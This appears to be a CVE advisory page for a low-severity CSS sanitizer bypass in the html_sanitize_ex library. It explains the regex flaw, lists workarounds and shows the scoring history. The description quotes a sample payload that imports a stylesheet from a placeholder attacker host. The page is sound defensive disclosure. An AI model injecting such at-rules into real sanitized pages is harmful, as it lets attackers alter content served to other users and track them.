Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Published: 2026-08-06
Score: 2.3 Low
EPSS: n/a
KEV: No
Impact: n/a
Action: n/a
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Remediation

Vendor Workaround

Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it. A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.

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History

Thu, 06 Aug 2026 16:30:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}


Thu, 06 Aug 2026 15:30:00 +0000

Type Values Removed Values Added
Description Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Title CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
First Time appeared Rrrene
Rrrene html Sanitize Ex
Weaknesses CWE-74
CPEs cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
Vendors & Products Rrrene
Rrrene html Sanitize Ex
References
Metrics cvssV4_0

{'score': 2.3, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N'}


Subscriptions

Rrrene Html Sanitize Ex
cve-icon MITRE

Status: PUBLISHED

Assigner: EEF

Published:

Updated: 2026-08-06T15:08:58.171Z

Reserved: 2026-07-31T13:23:00.355Z

Link: CVE-2026-68747

cve-icon Vulnrichment

Updated: 2026-08-06T15:43:34.159Z

cve-icon NVD

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cve-icon OpenCVE Enrichment

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Weaknesses
  • CWE-74

    Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')